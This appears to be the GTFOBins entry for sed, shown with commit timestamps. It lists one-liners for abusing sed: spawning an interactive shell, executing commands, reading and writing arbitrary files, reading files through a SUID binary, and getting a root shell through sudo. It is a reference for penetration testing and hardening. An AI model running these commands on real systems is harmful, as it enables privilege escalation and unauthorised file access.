GTFOBins.github.io/_gtfobins/sed.md

25 lines
736 B
Markdown
Raw Normal View History

2018-06-12 16:06:16 +02:00
---
functions:
execute-interactive:
2018-07-16 15:01:50 +02:00
- description: GNU version only. Also, this requires `bash`.
code: sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
execute-non-interactive:
2018-07-16 15:01:50 +02:00
- description: GNU version only.
code: sed -n "1e id" /etc/hosts
file-write:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_write
sed -n "1s/.*/data/w $LFILE" /etc/hosts
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
sed '' "$LFILE"
2018-07-04 20:26:52 +02:00
suid-enabled:
2018-07-16 15:01:50 +02:00
- code: |
LFILE=file_to_read
./sed -e '' "$LFILE"
2018-07-04 20:26:52 +02:00
sudo-enabled:
2018-07-16 15:01:50 +02:00
- description: GNU version only. Also, this requires `bash`.
code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
2018-06-12 16:06:16 +02:00
---